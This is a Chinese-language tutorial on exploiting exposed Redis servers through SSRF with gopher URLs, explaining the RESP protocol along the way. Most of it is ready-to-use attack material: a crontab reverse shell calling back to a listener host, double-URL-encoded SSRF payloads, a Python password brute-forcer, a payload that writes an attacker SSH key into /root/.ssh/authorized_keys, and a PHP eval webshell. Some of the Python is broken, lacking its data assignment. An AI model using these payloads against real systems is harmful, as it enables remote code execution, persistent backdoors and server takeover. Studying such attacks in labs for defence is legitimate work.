0x00 redis基礎
REmote DIctionary Server(Redis) 是一個由Salvatore Sanfilippo寫的key-value存儲系統。
Redis是一個開源的使用ANSI C語言編寫、遵守BSD協議、支持網絡、可基於內存亦可持久化的日志型、Key-Value數據庫,並提供多種語言的API。
它通常被稱為數據結構服務器,因為值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等類型。
常見的幾種攻擊方式:
1.利用計划任務執行命令反彈shell
2.寫ssh-keygen公鑰然后使用私鑰登陸
3.往web物理路徑寫webshell
0x01 redis安裝
1、安裝redis
apt-get install redis-server
2、修改redis監聽IP(如果不修改,不可遠程登錄),IP需要替換為自己的IP
vim /etc/redis/redis.conf
# 修改為以下內容
bind 127.0.0.1 192.168.0.67
3、啟動redis服務
service redis-server start
0x02 redis入侵,反彈shell
在開始講攻擊Redis之前,必須要理解Redis的客戶端和服務端的通信方式,以及數據發送的格式,該目的的實現需要tcpdump的抓包功能。使用抓包軟件來查看Redis客戶端和Redis服務端的通信數據,找到語法結構后開始模擬客戶端發送數據。
1、使用tcpdump來完成抓包,命令如下:
tcpdump -i eth0 port 6379 -w redis.pcap
參數說明如下:(更多tcpdump的教程,參考[Tcpdump教程](https://www.runoob.com/linux/linux-comm-tcpdump.html))
-i:指定網卡為eth0
port:指定抓哪個端口的數據
-w:將流量包保存為文件
2、使用Redis客戶端登錄Redis服務端,命令如下(默認無密碼):
root@Kali-2018:~/tmp# redis-cli -h 192.168.0.119 -p 6379
192.168.0.119:6379> get a
(nil)
192.168.0.119:6379>
以上命令做了一個獲取a對應的值是多少的操作,現在我們使用wireshark看一下抓到的包(使用追蹤流-TCP流):
上面非常多的內容就不放了
*2 $3 get $1 a -1
如果不理解Redis的數據發送的數據包格式,是看不懂上面內容的,這里必須要講這么幾個內容:
2.1、序列化協議:客戶端-服務端之間交互的是序列化后的協議數據。在Redis中,協議數據分為不同的類型,每種類型的數據均以CRLF(\r\n)結束,通過數據的首字符區分類型。
2.2、inline command:這類數據表示Redis命令,首字符為Redis命令的字符,格式為 str1 str2 str3 …。如:exists key1,命令和參數以空格分隔。
2.3、simple string:首字符為'+',后續字符為string的內容,且該string 不能包含'\r'或者'\n'兩個字符,最后以'\r\n'結束。如:'+OK\r\n',表示”OK”,這個string數據。
2.4、bulk string:bulk string 首字符為'$',緊跟着的是string數據的長度,'\r\n'后面是內容本身(包含’\r’、’\n’等特殊字符),最后以'\r\n'結束。如:
"$12\r\nhello\r\nworld\r\n"
上面字節串描述了 “hello\r\nworld” 的內容(中間有個換行)。對於" "空串和null,通過'$' 之后的數字進行區分:
"$0\r\n\r\n" 表示空串;
"$-1\r\n" 表示null。
2.5、integer:以 ':' 開頭,后面跟着整型內容,最后以'\r\n'結尾。如:":13\r\n",表示13的整數。
2.6、array:以'*'開頭,緊跟着數組的長度,"\r\n" 之后是每個元素的序列化數據。如:"*2\r\n+abc\r\n:9\r\n" 表示一個長度為2的數組:["abc", 9]。數組長度為0或 -1分別表示空數組或 null。
數組的元素本身也可以是數組,多級數組是樹狀結構,采用先序遍歷的方式序列化。如:[[1, 2], ["abc"]],序列化為:"*2\r\n*2\r\n:1\r\n:2\r\n*1\r\n+abc\r\n"。
3、經過上面內容的講解,在回過頭理解抓到的redis的包就很容易明白了。
上面非常多的內容就不放了
*2 數組長度為2
$3 bulk string,代表字符串長度為3,就是get
get 普通字符
$1 bulk string,代表字符串長度為1,就是a
a 普通字符
-1 返回內容,-1代表null
明白以上內容后基本就理清了思路,如果要給redis發命令,按照他的序列化規則即可。現在有一個大膽的想法,如果我用gopher去執行redis的命令呢?為了實現我們的想法,我們在Redis中加一個key,名字為name,值為Margin。命令如下:
set name Margin
此時,我們使用curl來發起gopher的請求,如下:
curl gopher://192.168.0.119:6379/_*2 $3 get $4 name
將其轉化為url編碼
curl gopher://192.168.0.119:6379/_%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a
執行結果如下
margine:~ margin$ curl gopher://192.168.0.119:6379/_%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a $6 Margin
那如果是在web漏洞中呢?如何利用?
1、構造利用代碼
2、url轉碼
3、再次url轉碼
web環境我們還是使用上一節課的代碼(curl_exec.php),代碼如下:
<?php $url = $_GET['url']; echo $url; #var_dump(curl_version()); $curlobj = curl_init($url); echo curl_exec($curlobj); ?>
這次我們發送的redis數據包是
*2 $3 get $4 name quit
先對它進行url轉碼
%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a%71%75%69%74%0d%0a
注意一般要把%0a替換為%0d%0a(這里我們已經替換過了)
進行二次編碼
%25%32%61%25%33%32%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%37%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61
然后構造利用代碼
http://192.168.1.105/curl_exec.php?url=gopher%3a%2f%2f192.168.1.101%3a6379%2f_%25%32%61%25%33%32%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%37%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61
進行請求
成功讀取到redis數據庫鍵name的值
monitor可以實時查看redis的日志
接下來測試下反彈shell(沒有用上面講的redis的數據包格式,下面的格式也可以),命令如下:
set mars "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
上述命令的含義總結為,利用Redis的備份功能,將crontab的定時任務備份到/etc/crontab中,起到執行命令的效果,因為Linux會監測/etc/crontab的內容,當我們將反彈shell的命令加入進去后,變會被執行,具體解釋如下:
crontab是linux下的一個定時任務
# 添加名為mars的key,值為后面反彈shell的語句,5個星號代表每分鍾執行一次,開始和技術的\n必須要有一個,也就是前后各有一個,當然,多個可以,主要是為了避免crontab的語法錯誤。crontab知識可以參考:【https://www.runoob.com/w3cnote/linux-crontab-tasks.html】
set mars "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n\n\n" # 設置備份的路徑為/etc config set dir /etc/ # 設置備份文件名為crontab config set dbfilename crontab # 開始備份 save
進行二次url編碼,結果如下
http://192.168.1.105/curl_exec.php?url=gopher%3a%2f%2f192.168.1.101%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%36%64%25%36%31%25%37%32%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%32%65%25%33%31%25%33%30%25%33%36%25%32%66%25%33%39%25%33%39%25%33%39%25%33%39%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%36%33%25%37%32%25%36%66%25%36%65%25%37%34%25%36%31%25%36%32%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61
1分鍾后發現成功反彈shell。
0x03 redis認證攻擊
以上為Redis未授權訪問攻擊,但如果Redis設置了密碼呢?
如果要執行命令的話,必須要有密碼才可以,所以接下來的問題便是如何破解Redis的密碼,首先想到的暴力破解。此時要研究下Redis如何驗證身份信息。方法還是抓包,抓到認證的流量,重放即可。抓包發現:
*2 $4 auth $6 Margin
可以翻譯為認證命令為auth xxxx
那么我們將redis的密碼改為任意密碼,我設置為Margin
config set requirepass Margin
將請求包改為
auth Margin
quit
python代碼變為
1 #!/usr/bin/python 2 # -*- coding: UTF-8 -*- 3 import urllib2,urllib 4 url = "http://192.168.0.109/ssrf/base/curl_exec.php?url=" 5 gopher = "gopher://192.168.0.119:6379/_" 6 def get_password(): 7 f = open("password.txt","r") 8 return f.readlines() 9 def encoder_url(data): 10 encoder = "" 11 for single_char in data: 12 # 先轉為ASCII 13 encoder += str(hex(ord(single_char))) 14 encoder = encoder.replace("0x","%").replace("%a","%0d%0a") 15 return encoder 16 for password in get_password(): 17 # 攻擊腳本 18 "auth %s 19 quit 20 """ % password 21 # 二次編碼 22 encoder = encoder_url(encoder_url(data)) 23 # 生存payload 24 payload = url + urllib.quote(gopher,'utf-8') + encoder 25 # 發起請求 26 request = urllib2.Request(payload) 27 response = urllib2.urlopen(request).read() 28 if response.count("+OK") > 1: 29 print "find password : " + password
所以,在已知密碼的情況下可以將攻擊的python代碼中加入認證的語句,如下:
auth Margin set mars "\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/6671 0>&1\\n" config set dir /etc/ config set dbfilename crontab save
再次運行python腳本,便可成功反彈shell。
0x04 寫ssh-keygen公鑰,用私鑰登錄
在上面的內容中描述了如何使用Redis的數據備份執行命令,接下來講解通過寫入ssh-keygen公鑰,使用私鑰登錄。思路還是利用備份,將私鑰字符串備份到目標服務器.ssh目錄下。
要完成此操作,需要兩個前提條件
(1)Redis服務使用ROOT賬號啟動(可以臨時執行sudo -u root /usr/bin/redis-server /etc/redis/redis.conf 來以root權限運行)
(2) 服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。
首先在本地生成一對密鑰
查看密鑰的字符串,一會使用Redis的備份功能,將密鑰字符串傳到目標服務器。
margine:.ssh margin$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local
構造payload,如下:
config set dir /root/.ssh/ config set dbfilename authorized_keys set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local" save quit
進一步得到python代碼為:
1 #!/usr/bin/python 2 # -*- coding: UTF-8 -*- 3 import urllib2,urllib 4 5 url = "http://192.168.0.109/ssrf/base/curl_exec.php?url=" 6 gopher = "gopher://192.168.0.67:6379/_" 7 8 # 攻擊腳本 9 "config set dir /root/.ssh/ 10 config set dbfilename authorized_keys 11 set margin "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local\\n\\n" 12 save 13 quit 14 15 """ 16 17 def encoder_url(data): 18 encoder = "" 19 for single_char in data: 20 # 先轉為ASCII 21 encoder += str(hex(ord(single_char))) 22 encoder = encoder.replace("0x","%").replace("%a","%0d%0a") 23 return encoder 24 25 # 二次編碼 26 encoder = encoder_url(encoder_url(data)) 27 28 print encoder 29 # 生存payload 30 payload = url + urllib.quote(gopher,'utf-8') + encoder 31 32 # 發起請求 33 request = urllib2.Request(payload) 34 response = urllib2.urlopen(request).read() 35 print response
0x05 寫webshell
經過上面文章的學習,對於寫webshell來說便變得非常簡單,要完成此操作,需要兩個前提條件
(1)當前運行redis的用戶在web目錄有寫權限
(2) 知道web目錄的絕對路徑
步驟比較簡單,原理還是利用Redis的備份功能,只不過這次是備份成webshell(redis所在的服務器需要phpstudy環境,參考Linux下phpstudy安裝
修改python中的payload,如下:
"config set dir /var/www/html/ config set dbfilename margin.php set margin "\\n<?php eval($_POST['margin']);?>\\n" save quit """
此處不貼完整的python代碼了,執行后可以看到目標主機有了margin.php文件,使用菜刀連接即可。